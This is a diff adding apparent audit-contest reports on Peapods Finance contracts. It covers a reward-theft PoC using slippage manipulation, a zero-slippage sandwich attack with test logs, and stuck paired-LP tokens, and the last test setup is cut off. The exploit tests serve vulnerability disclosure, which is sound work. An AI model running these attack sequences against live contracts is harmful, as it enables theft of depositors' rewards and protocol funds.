+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = 300;
+ _f.debond = 300;
+ _f.burn = 5000;
+ //_f.sell = 200;
+ _f.buy = 200;
+
+ // POD1 (Peas)
+ address[] memory _t1 = new address[](1);
+ _t1[0] = address(_peas);
+ uint256[] memory _w1 = new uint256[](1);
+ _w1[0] = 100;
+ address __pod1Peas = _createPod(
+ "Peas Pod",
+ "pPeas",
+ _c,
+ _f,
+ _t1,
+ _w1,
+ address(0),
+ true,
+ abi.encode(
+ address(_mockDai),
+ address(_peas),
+ address(_mockDai),
+ address(_protocolFeeRouter),
+ address(_rewardsWhitelist),
+ address(_twapUtils),
+ address(_dexAdapter)
+ )
+ );
+ _pod1Peas = WeightedIndex(payable(__pod1Peas));
+
+ _peas.approve(address(_pod1Peas), 100_000 ether);
+ _mockDai.approve(address(_pod1Peas), 100_000 ether);
+ _pod1Peas.bond(address(_peas), 100_000 ether, 1 ether);
+ _pod1Peas.addLiquidityV2(100_000 ether, 100_000 ether, 100, block.timestamp);
+ }
+
+ function _deployAutoCompoundingPodLpFactory() internal {
+ _aspTKNFactory = new AutoCompoundingPodLpFactory();
+ }
+
+ function _getAutoCompoundingPodLpAddresses() internal {
+ _aspTKN1PeasAddress = _aspTKNFactory.getNewCaFromParams(
+ "Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0
+ );
+ }
+
+ function _deployAspTKNOracles() internal {
+ _v2Res = new V2ReservesUniswap();
+ _clOracle = new ChainlinkSinglePriceOracle(address(0));
+ _uniOracle = new UniswapV3SinglePriceOracle(address(0));
+ _diaOracle = new DIAOracleV2SinglePriceOracle(address(0));
+
+ _aspTKNMinOracle1Peas = new aspTKNMinimalOracle(
+ address(_aspTKN1PeasAddress),
+ abi.encode(
+ address(_clOracle),
+ address(_uniOracle),
+ address(_diaOracle),
+ address(_mockDai),
+ false,
+ false,
+ _pod1Peas.lpStakingPool(),
+ address(_v3peasDaiPool)
+ ),
+ abi.encode(address(0), address(0), address(0), address(0), address(0), address(_v2Res))
+ );
+ }
+
+ function _deployAspTKNs() internal {
+ //POD 1
+ address _lpPeas = _pod1Peas.lpStakingPool();
+ address _stakingPeas = StakingPoolToken(_lpPeas).stakingToken();
+
+ IERC20(_stakingPeas).approve(_lpPeas, 500e18);
+ StakingPoolToken(_lpPeas).stake(address(this), 500e18);
+ IERC20(_lpPeas).approve(address(_aspTKNFactory), 500e18);
+
+ _aspTKNFactory.create("Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0);
+ _aspTKN1Peas = AutoCompoundingPodLp(_aspTKN1PeasAddress);
+
+ IERC20(_lpPeas).approve(address(_aspTKN1Peas), 400e18);
+ _aspTKN1Peas.deposit(400e18, address(this));
+ }
+
+ function _deployVariableInterestRate() internal {
+ _variableInterestRate = new VariableInterestRate(
+ "[0.5 0.2@.875 5-10k] 2 days (.75-.85)",
+ 87500,
+ 200000000000000000,
+ 75000,
+ 85000,
+ 158247046,
+ 1582470460,
+ 3164940920000,
+ 172800
+ );
+ }
+
+ function _deployFraxWhitelist() internal {
+ _fraxWhitelist = new FraxlendWhitelist();
+ }
+
+ function _deployFraxPairRegistry() internal {
+ address[] memory _initialDeployers = new address[](0);
+ _fraxRegistry = new FraxlendPairRegistry(address(this), _initialDeployers);
+ }
+
+ function _deployFraxPairDeployer() internal {
+ ConstructorParams memory _params =
+ ConstructorParams(circuitBreaker, comptroller, timelock, address(_fraxWhitelist), address(_fraxRegistry));
+ _fraxDeployer = new FraxlendPairDeployer(_params);
+
+ _fraxDeployer.setCreationCode(type(FraxlendPair).creationCode);
+
+ address[] memory _whitelistDeployer = new address[](1);
+ _whitelistDeployer[0] = address(this);
+
+ _fraxWhitelist.setFraxlendDeployerWhitelist(_whitelistDeployer, true);
+
+ address[] memory _registryDeployer = new address[](1);
+ _registryDeployer[0] = address(_fraxDeployer);
+
+ _fraxRegistry.setDeployers(_registryDeployer, true);
+ }
+
+ function _deployFraxPairs() internal {
+ vm.warp(block.timestamp + 1 days);
+
+ _fraxLPToken1Peas = FraxlendPair(
+ _fraxDeployer.deploy(
+ abi.encode(
+ _pod1Peas.PAIRED_LP_TOKEN(), // asset
+ _aspTKN1PeasAddress, // collateral
+ address(_aspTKNMinOracle1Peas), //oracle
+ 5000, // maxOracleDeviation
+ address(_variableInterestRate), //rateContract
+ 1000, //fullUtilizationRate
+ 75000, // maxLtv
+ 10000, // uint256 _cleanLiquidationFee
+ 9000, // uint256 _dirtyLiquidationFee
+ 2000 //uint256 _protocolLiquidationFee
+ )
+ )
+ );
+ }
+
+ function _deployLendingAssetVault() internal {
+ _lendingAssetVault = new LendingAssetVault("Test LAV", "tLAV", address(_mockDai));
+ IERC20 vaultAsset1Peas = IERC20(_fraxLPToken1Peas.asset());
+ vaultAsset1Peas.approve(address(_fraxLPToken1Peas), vaultAsset1Peas.totalSupply());
+ vaultAsset1Peas.approve(address(_lendingAssetVault), vaultAsset1Peas.totalSupply());
+ _lendingAssetVault.setVaultWhitelist(address(_fraxLPToken1Peas), true);
+
+ address[] memory _vaults = new address[](1);
+ _vaults[0] = address(_fraxLPToken1Peas);
+ uint256[] memory _allocations = new uint256[](1);
+ _allocations[0] = 100_000e18;
+ _lendingAssetVault.setVaultMaxAllocation(_vaults, _allocations);
+
+ vm.prank(timelock);
+ _fraxLPToken1Peas.setExternalAssetVault(IERC4626Extended(address(_lendingAssetVault)));
+ }
+
+ function _deployLeverageManager() internal {
+ _leverageManager = new LeverageManager("Test LM", "tLM", IIndexUtils(address(_indexUtils)));
+ _leverageManager.setLendingPair(address(_pod1Peas), address(_fraxLPToken1Peas));
+ }
+
+ function _deployFlashSources() internal {
+ _uniswapV3FlashSourcePeas = new UniswapV3FlashSource(address(_v3peasDaiFlash), address(_leverageManager));
+ _leverageManager.setFlashSource(address(_pod1Peas.PAIRED_LP_TOKEN()), address(_uniswapV3FlashSourcePeas));
+ }
+
+ function testPoc() public { //leave as paired lp is set to true in the setup
+ UniswapV2Pair _v2Pool = UniswapV2Pair(_pod1Peas.DEX_HANDLER().getV2Pool(address(_pod1Peas), address(_mockDai)));
+ StakingPoolToken _spTKN = StakingPoolToken(_pod1Peas.lpStakingPool());
+ TokenRewards _tokenRewards = TokenRewards(_spTKN.POOL_REWARDS());
+ _aspTKN1Peas.setPodOracle(_aspTKNMinOracle1Peas);
+
+ vm.startPrank(bob);
+ console.log("\n====== Bob bonds 20_000e18 Peas ======");
+ _peas.approve(address(_pod1Peas), 20_000e18);
+ _pod1Peas.bond(address(_peas), 20_000e18, 0);
+
+ vm.warp(block.timestamp + 1000);
+
+ console.log("\n====== Bob adds liquidity 10_000e18 ======");
+ _mockDai.approve(address(_pod1Peas), 10_000e18);
+ _pod1Peas.addLiquidityV2(10_000e18, 10_000e18, 1000, block.timestamp);
+
+ console.log("\n====== Bob stakes 9500e18 lp tokens ======");
+ _v2Pool.approve(_pod1Peas.lpStakingPool(), 9500e18);
+ _spTKN.stake(bob, 9500e18); //The steps up to this point were simply there so that Bob has spTKNs to steal rewards with.
+
+ console.log("\n====== Bob claims rewards for AutoCompoundingLp ======");
+ console.log("_aspTKN1Peas _mockDai balance before: ", _mockDai.balanceOf(address(_aspTKN1Peas)));
+ //There are rewards for AutoCompoundingPodLp. (In this example, the rewards all come from the fees that Bob paid when bonding,
+ //but if this bug were exploited in reality, there would be many more users generating rewards.)
+ _tokenRewards.claimReward(address(_aspTKN1Peas));
+ console.log("_aspTKN1Peas _mockDai balance after: ", _mockDai.balanceOf(address(_aspTKN1Peas))); //Shows that the rewards are now in AutoCompoundingPodLp and are waiting to be compounded
+
+ vm.warp(block.timestamp + 1000);
+
+ console.log("Bob spTKN balance before: ", _spTKN.balanceOf(bob)); //Can later be used to calculate how many more tokens the attacker has than at the beginning
+ _mockDai.approve(address(_v2SwapRouter), 5000e18);
+ address[] memory path = new address[](2);
+ path[0] = address(_mockDai);
+ path[1] = address(_pod1Peas);
+ //Bob swaps _mockDai into _pod1Peas so that the slippage in _processRewardsToPodLp is too high and cannot be compounded
+ _v2SwapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ 5000e18,
+ 0,
+ path,
+ bob,
+ block.timestamp
+ );
+
+ console.log("\n====== Bob deposits 9500 spTkns ======");
+ _spTKN.approve(address(_aspTKN1Peas), 9500e18);
+ _aspTKN1Peas.deposit(9500e18, bob);
+ console.log("_aspTKN1Peas _mockDai balance: ", _mockDai.balanceOf(address(_aspTKN1Peas))); //Shows that the rewards were not compounded
+
+ _pod1Peas.approve(address(_v2SwapRouter), 6300e18);
+ path[0] = address(_pod1Peas);
+ path[1] = address(_mockDai);
+ //Bob swaps the tokens back to ensure that the swap works during the next compound
+ _v2SwapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ 6300e18,
+ 0,
+ path,
+ bob,
+ block.timestamp
+ );
+
+ console.log("\n====== Bob redeems 9500 aspTkns ======");
+ //Bob redeems his tokens again, with the compounding working this time, resulting in more spTKNs in the AutoCompoundingPodLp, of which he then receives a portion.
+ //This portion should actually be for users who had already deposited before rewards were available.
+ _aspTKN1Peas.redeem(9_500e18, bob, bob);
+ vm.stopPrank();
+ console.log("Bob spTKN balance after: ", _spTKN.balanceOf(bob)); //Shows that Bob has more SPKNs after the attack
+
+ //Shows that too few spTKNs in _aspTKN1Peas are there, the rewards that Bob received should actually belong to the user who already deposited in the
+ //setup in _deployAspTKNs in line 400
+ console.log("_aspTKN1Peas _spTKN balance: ", _spTKN.balanceOf(address(_aspTKN1Peas)));
+ }
+}
+```
+3. The POC can then be started with `forge test --mt testPoc -vv --fork-url `
\ No newline at end of file
diff --git a/275.md b/275.md
new file mode 100644
index 0000000..a49b5af
--- /dev/null
+++ b/275.md
@@ -0,0 +1,194 @@
+Furry Berry Armadillo
+
+High
+
+# Zero Slippage Protection When Using `REWARDS_SWAP_OVERRIDE_MIN` Enables Sandwich Attacks
+
+### Summary
+
+Missing slippage protection when `_amountIn == REWARDS_SWAP_OVERRIDE_MIN` will cause significant token loss for the protocol as attackers will be able to execute profitable sandwich attacks on swaps, even with small amounts, contradicting the intended security assumption.
+
+### Root Cause
+
+In [TokenRewards.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L305), the minOutput parameter is set to `0` when `_amountIn == REWARDS_SWAP_OVERRIDE_MIN`:
+
+```solidity
+ try DEX_ADAPTER.swapV3Single(
+ PAIRED_LP_TOKEN,
+ rewardsToken,
+ REWARDS_POOL_FEE,
+ _amountIn,
+ _amountIn == REWARDS_SWAP_OVERRIDE_MIN ? 0 : (_amountOut * (1000 - REWARDS_SWAP_SLIPPAGE)) / 1000, <@
+ address(this)
+ )
+```
+
+This means that when `_amountIn` equals the override minimum, the transaction will execute even if the received token amount is `extremely low`, making it susceptible to front-running attacks.
+
+### Internal Pre-conditions
+
+1. `_rewardsSwapAmountInOverride` needs to be set to `REWARDS_SWAP_OVERRIDE_MIN`
+
+2. A swap needs to be executed with this override amount.
+
+### External Pre-conditions
+
+1. DEX needs to have sufficient liquidity to execute the swaps
+2. Gas prices need to be at normal mainnet levels `(<=100 gwei)`
+
+### Attack Path
+
+1. Attacker monitors for a failed swap, which sets `_rewardsSwapAmountInOverride = REWARDS_SWAP_OVERRIDE_MIN`.
+
+2. Attacker front-runs the next swap transaction with a large buy order to manipulate the price upward.
+
+3. Contract executes swap with zero slippage protection, causing an extremely unfavorable rate.
+
+4. Attacker back-runs with a sell order, profiting from the price manipulation.
+
+5. Attacker repeats steps 2-4 multiple times, exploiting the vulnerability indefinitely.
+
+Also the code is a goldmine for `MEV` bots
+
+### Impact
+
+* The protocol suffers significant losses per swap.
+* Attacker gains the price difference from manipulated swaps.
+* Compounded losses over multiple transactions could drain significant protocol funds.
+
+### PoC
+
+Add this test to `TokenRewards.t.sol`
+
+```solidity
+function testMultipleSwapsVulnerability() public {
+ uint256 SWAP_AMOUNT = 1e18; // 1 token
+ uint256 totalLoss = 0;
+
+ pairedToken.mint(address(tokenRewards), SWAP_AMOUNT * 5);
+
+ uint8 decimals = IERC20Metadata(address(pairedToken)).decimals();
+ uint256 OVERRIDE_MIN = 10 ** (decimals / 2); // 1e9 for 18 decimals
+
+ // multiple swaps to show cumulative effect
+ for(uint256 i = 0; i < 5; i++) {
+ uint256 balanceBefore = pairedToken.balanceOf(address(tokenRewards));
+
+ tokenRewards.exposedSetRewardsSwapAmountInOverride(OVERRIDE_MIN);
+
+ tokenRewards.exposedSwapForRewards(
+ SWAP_AMOUNT,
+ SWAP_AMOUNT,
+ 0
+ );
+
+ uint256 actualSwapped = balanceBefore - pairedToken.balanceOf(address(tokenRewards));
+ totalLoss += (SWAP_AMOUNT - actualSwapped);
+
+ emit log_named_string("Swap", vm.toString(i+1));
+ emit log_named_uint(" Attempted swap amount", SWAP_AMOUNT);
+ emit log_named_uint(" Actually swapped", actualSwapped);
+ emit log_named_uint(" DEX minOutput", dexAdapter.lastMinOutputAmount());
+ emit log_named_uint(" Token loss this round", SWAP_AMOUNT - actualSwapped);
+ }
+
+ emit log_string("");
+ emit log_named_uint("Total loss after 5 swaps", totalLoss);
+ emit log_named_uint("As percentage of total attempted", (totalLoss * 100) / (SWAP_AMOUNT * 5));
+
+ assertEq(dexAdapter.lastMinOutputAmount(), 0, "Slippage protection should be disabled");
+ assertGt(totalLoss, 0, "Should demonstrate significant token loss");
+ }
+
+```
+change the MockDexAdapter contract
+
+```solidity
+contract MockDexAdapter {
+ uint256 public lastMinOutputAmount;
+
+ function getV3Pool(address, address, uint24) public pure returns (address) {
+ return address(0);
+ }
+
+ function swapV3Single(
+ address tokenIn,
+ address tokenOut,
+ uint24,
+ uint256 amountIn,
+ uint256 minOutput,
+ address recipient
+ ) public returns (uint256) {
+
+ lastMinOutputAmount = minOutput;
+
+ IERC20(tokenIn).transferFrom(msg.sender, address(this), amountIn);
+
+ uint256 outputAmount;
+ if (minOutput == 0) {
+ outputAmount = amountIn / 1000; // 0.1% return simulating sandwich
+ } else {
+ outputAmount = (amountIn * 98) / 100; // Normal 2% slippage
+ }
+
+ require(outputAmount >= minOutput, "Insufficient output amount");
+
+ MockERC20(tokenOut).mint(address(this), outputAmount);
+ IERC20(tokenOut).transfer(recipient, outputAmount);
+
+ return outputAmount;
+ }
+}
+```
+add these in setUp
+```solidity
+
+pairedToken.approve(address(dexAdapter), type(uint256).max);
+
+
+ rewardsToken.approve(address(dexAdapter), type(uint256).max);
+
+
+ rewardsToken.mint(address(dexAdapter), 1000e18);
+```
+
+```solidity
+[PASS] testMultipleSwapsVulnerability() (gas: 642261)
+Logs:
+ Swap: 1
+ Attempted swap amount: 1000000000000000000
+ Actually swapped: 1000000000
+ DEX minOutput: 0
+ Token loss this round: 999999999000000000
+ Swap: 2
+ Attempted swap amount: 1000000000000000000
+ Actually swapped: 1000000000
+ DEX minOutput: 0
+ Token loss this round: 999999999000000000
+ Swap: 3
+ Attempted swap amount: 1000000000000000000
+ Actually swapped: 1000000000
+ DEX minOutput: 0
+ Token loss this round: 999999999000000000
+ Swap: 4
+ Attempted swap amount: 1000000000000000000
+ Actually swapped: 1000000000
+ DEX minOutput: 0
+ Token loss this round: 999999999000000000
+ Swap: 5
+ Attempted swap amount: 1000000000000000000
+ Actually swapped: 1000000000
+ DEX minOutput: 0
+ Token loss this round: 999999999000000000
+
+ Total loss after 5 swaps: 4999999995000000000
+ As percentage of total attempted: 99
+```
+
+i can show the other cases with tests (e.g. gas price vs profit) if it needed
+
+### Mitigation
+
+* Always maintain minimum slippage protection, even for small amounts.
+* Use Time-Weighted Average Price (TWAP) for additional validation
+
diff --git a/276.md b/276.md
new file mode 100644
index 0000000..1b3a742
--- /dev/null
+++ b/276.md
@@ -0,0 +1,614 @@
+Witty Chartreuse Starling
+
+Medium
+
+# In AutoCompoundingPodLp, the swap from paired LP tokens to pTKN can fail, but the remaining paired LP tokens then get stuck
+
+### Summary
+
+While compounding in AutoCompoundingPodLp, two swaps are executed. First, from the rewards token to the paired LP token, and then from the paired LP token to the pTKN. If the second swap fails, the paired LP tokens remain in the contract and are stuck there if the paired LP token is not in the `_allRewardsTokens` list in TokenRewards.
+
+### Root Cause
+
+In the first swap during compounding, reward tokens are swapped into paired LP tokens in the `_tokenToPairedLpToken` function. Since the second swap in `_pairedLpTokenToPodToken` is performed within a try-catch block, if the swap fails, the paired LP tokens would remain in the contract:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L316-L325
+The swap could revert, for example, due to slippage if the `podOracle` is set.
+If the paired LP token is in the `_allRewardsTokens` list in TokenRewards, then it’s not an issue because the paired LP tokens from the first swap are simply handeled as rewards by `_processRewardsToPodLp`. However, if the paired LP token is not in the `_allRewardsTokens` list, then the tokens are stuck.
+
+### Internal Pre-conditions
+
+1. `LEAVE_AS_PAIRED_LP_TOKEN` should be false, otherwise the paired LP token is almost certainly in the `_allRewardsTokens` list
+2. The `podOracle` should be set to AutoCompoundingPodLp, as it is quite likely that a swap will fail, causing tokens to get stuck.
+
+### External Pre-conditions
+
+No external pre-conditions
+
+### Attack Path
+
+1. Alice staked spTKNs in AutoCompoundingPodLp
+2. In AutoCompoundingPodLp, rewards accumulate
+3. Alice wants to redeem, which compounds the rewards, but the second swap is reverted, and the paired LP tokens remain stuck in AutoCompoundingPodLp
+4. Alice has her spTKNs back, but her rewards are stuck in the contract as paired LP tokens
+
+### Impact
+
+Users receive too few rewards because these are stuck as paired LP tokens in AutoCompoundingPodLp. Additionally, an attacker can intentionally create slippage to cause swaps to fail and make rewards get stuck.
+
+### PoC
+
+1. To execute the POC, a `POC.t.sol` file should be created in `contracts/test/POC.t.sol`.
+2. The following code should be inserted into the file:
+```solidity
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.28;
+
+import {console} from "forge-std/console.sol";
+
+// forge
+import {Test} from "forge-std/Test.sol";
+
+// PEAS
+import {PEAS} from "../../contracts/PEAS.sol";
+import {V3TwapUtilities} from "../../contracts/twaputils/V3TwapUtilities.sol";
+import {UniswapDexAdapter} from "../../contracts/dex/UniswapDexAdapter.sol";
+import {IDecentralizedIndex} from "../../contracts/interfaces/IDecentralizedIndex.sol";
+import {WeightedIndex} from "../../contracts/WeightedIndex.sol";
+import {StakingPoolToken} from "../../contracts/StakingPoolToken.sol";
+import {LendingAssetVault} from "../../contracts/LendingAssetVault.sol";
+import {IndexUtils} from "../../contracts/IndexUtils.sol";
+import {IIndexUtils} from "../../contracts/interfaces/IIndexUtils.sol";
+import {IndexUtils} from "../contracts/IndexUtils.sol";
+import {RewardsWhitelist} from "../../contracts/RewardsWhitelist.sol";
+import {TokenRewards} from "../../contracts/TokenRewards.sol";
+
+// oracles
+import {ChainlinkSinglePriceOracle} from "../../contracts/oracle/ChainlinkSinglePriceOracle.sol";
+import {UniswapV3SinglePriceOracle} from "../../contracts/oracle/UniswapV3SinglePriceOracle.sol";
+import {DIAOracleV2SinglePriceOracle} from "../../contracts/oracle/DIAOracleV2SinglePriceOracle.sol";
+import {V2ReservesUniswap} from "../../contracts/oracle/V2ReservesUniswap.sol";
+import {aspTKNMinimalOracle} from "../../contracts/oracle/aspTKNMinimalOracle.sol";
+
+// protocol fees
+import {ProtocolFees} from "../../contracts/ProtocolFees.sol";
+import {ProtocolFeeRouter} from "../../contracts/ProtocolFeeRouter.sol";
+
+// autocompounding
+import {AutoCompoundingPodLpFactory} from "../../contracts/AutoCompoundingPodLpFactory.sol";
+import {AutoCompoundingPodLp} from "../../contracts/AutoCompoundingPodLp.sol";
+
+// lvf
+import {LeverageManager} from "../../contracts/lvf/LeverageManager.sol";
+
+// fraxlend
+import {FraxlendPairDeployer, ConstructorParams} from "./invariant/modules/fraxlend/FraxlendPairDeployer.sol";
+import {FraxlendWhitelist} from "./invariant/modules/fraxlend/FraxlendWhitelist.sol";
+import {FraxlendPairRegistry} from "./invariant/modules/fraxlend/FraxlendPairRegistry.sol";
+import {FraxlendPair} from "./invariant/modules/fraxlend/FraxlendPair.sol";
+import {VariableInterestRate} from "./invariant/modules/fraxlend/VariableInterestRate.sol";
+import {IERC4626Extended} from "./invariant/modules/fraxlend/interfaces/IERC4626Extended.sol";
+
+// flash
+import {IVault} from "./invariant/modules/balancer/interfaces/IVault.sol";
+import {BalancerFlashSource} from "../../contracts/flash/BalancerFlashSource.sol";
+import {PodFlashSource} from "../../contracts/flash/PodFlashSource.sol";
+import {UniswapV3FlashSource} from "../../contracts/flash/UniswapV3FlashSource.sol";
+
+// uniswap-v2-core
+import {UniswapV2Factory} from "v2-core/UniswapV2Factory.sol";
+import {UniswapV2Pair} from "v2-core/UniswapV2Pair.sol";
+
+// uniswap-v2-periphery
+import {UniswapV2Router02} from "v2-periphery/UniswapV2Router02.sol";
+
+// uniswap-v3-core
+import {UniswapV3Factory} from "v3-core/UniswapV3Factory.sol";
+import {UniswapV3Pool} from "v3-core/UniswapV3Pool.sol";
+
+// uniswap-v3-periphery
+import {SwapRouter02} from "swap-router/SwapRouter02.sol";
+import {LiquidityManagement} from "v3-periphery/base/LiquidityManagement.sol";
+import {PeripheryPayments} from "v3-periphery/base/PeripheryPayments.sol";
+import {PoolAddress} from "v3-periphery/libraries/PoolAddress.sol";
+
+// mocks
+import {WETH9} from "./invariant/mocks/WETH.sol";
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {MockERC20} from "./invariant/mocks/MockERC20.sol";
+import {TestERC20} from "./invariant/mocks/TestERC20.sol";
+import {TestERC4626Vault} from "./invariant/mocks/TestERC4626Vault.sol";
+import {MockV3Aggregator} from "./invariant/mocks/MockV3Aggregator.sol";
+import {MockUniV3Minter} from "./invariant/mocks/MockUniV3Minter.sol";
+import {MockV3TwapUtilities} from "./invariant/mocks/MockV3TwapUtilities.sol";
+
+import {PodHelperTest} from "./helpers/PodHelper.t.sol";
+
+contract AuditTests is PodHelperTest {
+ address alice = vm.addr(uint256(keccak256("alice")));
+ address bob = vm.addr(uint256(keccak256("bob")));
+ address charlie = vm.addr(uint256(keccak256("charlie")));
+
+ uint256[] internal _fraxPercentages = [10000, 2500, 7500, 5000];
+
+ // fraxlend protocol actors
+ address internal comptroller = vm.addr(uint256(keccak256("comptroller")));
+ address internal circuitBreaker = vm.addr(uint256(keccak256("circuitBreaker")));
+ address internal timelock = vm.addr(uint256(keccak256("comptroller")));
+
+ uint16 internal fee = 100;
+ uint256 internal PRECISION = 10 ** 27;
+
+ uint256 donatedAmount;
+ uint256 lavDeposits;
+
+ /*///////////////////////////////////////////////////////////////
+ TEST CONTRACTS
+ ///////////////////////////////////////////////////////////////*/
+
+ PEAS internal _peas;
+ MockV3TwapUtilities internal _twapUtils;
+ UniswapDexAdapter internal _dexAdapter;
+ LendingAssetVault internal _lendingAssetVault;
+ LendingAssetVault internal _lendingAssetVault2;
+ RewardsWhitelist internal _rewardsWhitelist;
+
+ // oracles
+ V2ReservesUniswap internal _v2Res;
+ ChainlinkSinglePriceOracle internal _clOracle;
+ UniswapV3SinglePriceOracle internal _uniOracle;
+ DIAOracleV2SinglePriceOracle internal _diaOracle;
+ aspTKNMinimalOracle internal _aspTKNMinOracle1Peas;
+ aspTKNMinimalOracle internal _aspTKNMinOracle1Weth;
+
+ // protocol fees
+ ProtocolFees internal _protocolFees;
+ ProtocolFeeRouter internal _protocolFeeRouter;
+
+ // pods
+ WeightedIndex internal _pod1Peas;
+
+ // index utils
+ IndexUtils internal _indexUtils;
+
+ // autocompounding
+ AutoCompoundingPodLpFactory internal _aspTKNFactory;
+ AutoCompoundingPodLp internal _aspTKN1Peas;
+ address internal _aspTKN1PeasAddress;
+
+ // lvf
+ LeverageManager internal _leverageManager;
+
+ // fraxlend
+ FraxlendPairDeployer internal _fraxDeployer;
+ FraxlendWhitelist internal _fraxWhitelist;
+ FraxlendPairRegistry internal _fraxRegistry;
+ VariableInterestRate internal _variableInterestRate;
+
+ FraxlendPair internal _fraxLPToken1Peas;
+
+ // flash
+ UniswapV3FlashSource internal _uniswapV3FlashSourcePeas;
+
+ // mocks
+ MockUniV3Minter internal _uniV3Minter;
+ MockERC20 internal _mockDai;
+ WETH9 internal _weth;
+ MockERC20 internal _tokenA;
+ MockERC20 internal _tokenB;
+ MockERC20 internal _tokenC;
+
+ // uniswap-v2-core
+ UniswapV2Factory internal _uniV2Factory;
+ UniswapV2Pair internal _uniV2Pool;
+
+ // uniswap-v2-periphery
+ UniswapV2Router02 internal _v2SwapRouter;
+
+ // uniswap-v3-core
+ UniswapV3Factory internal _uniV3Factory;
+ UniswapV3Pool internal _v3peasDaiPool;
+ UniswapV3Pool internal _v3peasDaiFlash;
+
+ // uniswap-v3-periphery
+ SwapRouter02 internal _v3SwapRouter;
+
+ function setUp() public override {
+ super.setUp();
+
+ _deployUniV3Minter();
+ _deployWETH();
+ _deployTokens();
+ _deployPEAS();
+ _deployUniV2();
+ _deployUniV3();
+ _deployProtocolFees();
+ _deployRewardsWhitelist();
+ _deployTwapUtils();
+ _deployDexAdapter();
+ _deployIndexUtils();
+ _deployWeightedIndexes();
+ _deployAutoCompoundingPodLpFactory();
+ _getAutoCompoundingPodLpAddresses();
+ _deployAspTKNOracles();
+ _deployAspTKNs();
+ _deployVariableInterestRate();
+ _deployFraxWhitelist();
+ _deployFraxPairRegistry();
+ _deployFraxPairDeployer();
+ _deployFraxPairs();
+ _deployLendingAssetVault();
+ _deployLeverageManager();
+ _deployFlashSources();
+
+ _mockDai.mint(alice, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ _peas.transfer(alice, 100_000 ether);
+ _peas.transfer(bob, 100_000 ether);
+ _peas.transfer(charlie, 100_000 ether);
+ }
+
+ function _deployUniV3Minter() internal {
+ _uniV3Minter = new MockUniV3Minter();
+ }
+
+ function _deployWETH() internal {
+ _weth = new WETH9();
+
+ vm.deal(address(this), 1_000_000 ether);
+ _weth.deposit{value: 1_000_000 ether}();
+
+ vm.deal(address(_uniV3Minter), 2_000_000 ether);
+ vm.prank(address(_uniV3Minter));
+ _weth.deposit{value: 2_000_000 ether}();
+ }
+
+ function _deployTokens() internal {
+ _mockDai = new MockERC20();
+ _tokenA = new MockERC20();
+ _tokenB = new MockERC20();
+ _tokenC = new MockERC20();
+
+ _mockDai.initialize("MockDAI", "mDAI", 18);
+ _tokenA.initialize("TokenA", "TA", 18);
+ _tokenB.initialize("TokenB", "TB", 18);
+ _tokenC.initialize("TokenC", "TC", 18);
+
+ _tokenA.mint(address(this), 1_000_000 ether);
+ _tokenB.mint(address(this), 1_000_000 ether);
+ _tokenC.mint(address(this), 1_000_000 ether);
+ _mockDai.mint(address(this), 1_000_000 ether);
+
+ _tokenA.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenB.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenC.mint(address(_uniV3Minter), 1_000_000 ether);
+ _mockDai.mint(address(_uniV3Minter), 1_000_000 ether);
+
+ _tokenA.mint(alice, 1_000_000 ether);
+ _tokenB.mint(alice, 1_000_000 ether);
+ _tokenC.mint(alice, 1_000_000 ether);
+ _mockDai.mint(alice, 1_000_000 ether);
+
+ _tokenA.mint(bob, 1_000_000 ether);
+ _tokenB.mint(bob, 1_000_000 ether);
+ _tokenC.mint(bob, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+
+ _tokenA.mint(charlie, 1_000_000 ether);
+ _tokenB.mint(charlie, 1_000_000 ether);
+ _tokenC.mint(charlie, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ }
+
+ function _deployPEAS() internal {
+ _peas = new PEAS("Peapods", "PEAS");
+ _peas.transfer(address(_uniV3Minter), 2_000_000 ether);
+ }
+
+ function _deployUniV2() internal {
+ _uniV2Factory = new UniswapV2Factory(address(this));
+ _v2SwapRouter = new UniswapV2Router02(address(_uniV2Factory), address(_weth));
+ }
+
+ function _deployUniV3() internal {
+ _uniV3Factory = new UniswapV3Factory();
+ _v3peasDaiPool = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 10_000));
+ _v3peasDaiPool.initialize(1 << 96);
+ _v3peasDaiPool.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiPool, 100_000 ether);
+
+ _v3peasDaiFlash = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 500));
+ _v3peasDaiFlash.initialize(1 << 96);
+ _v3peasDaiFlash.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiFlash, 100_000e18);
+
+ _v3SwapRouter = new SwapRouter02(address(_uniV2Factory), address(_uniV3Factory), address(0), address(_weth));
+ }
+
+ function _deployProtocolFees() internal {
+ _protocolFees = new ProtocolFees();
+ _protocolFees.setYieldAdmin(500);
+ _protocolFees.setYieldBurn(500);
+
+ _protocolFeeRouter = new ProtocolFeeRouter(_protocolFees);
+ bytes memory code = address(_protocolFeeRouter).code;
+ vm.etch(0x7d544DD34ABbE24C8832db27820Ff53C151e949b, code);
+ _protocolFeeRouter = ProtocolFeeRouter(0x7d544DD34ABbE24C8832db27820Ff53C151e949b);
+
+ vm.prank(_protocolFeeRouter.owner());
+ _protocolFeeRouter.transferOwnership(address(this));
+ _protocolFeeRouter.setProtocolFees(_protocolFees);
+ }
+
+ function _deployRewardsWhitelist() internal {
+ _rewardsWhitelist = new RewardsWhitelist();
+ bytes memory code = address(_rewardsWhitelist).code;
+ vm.etch(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F, code);
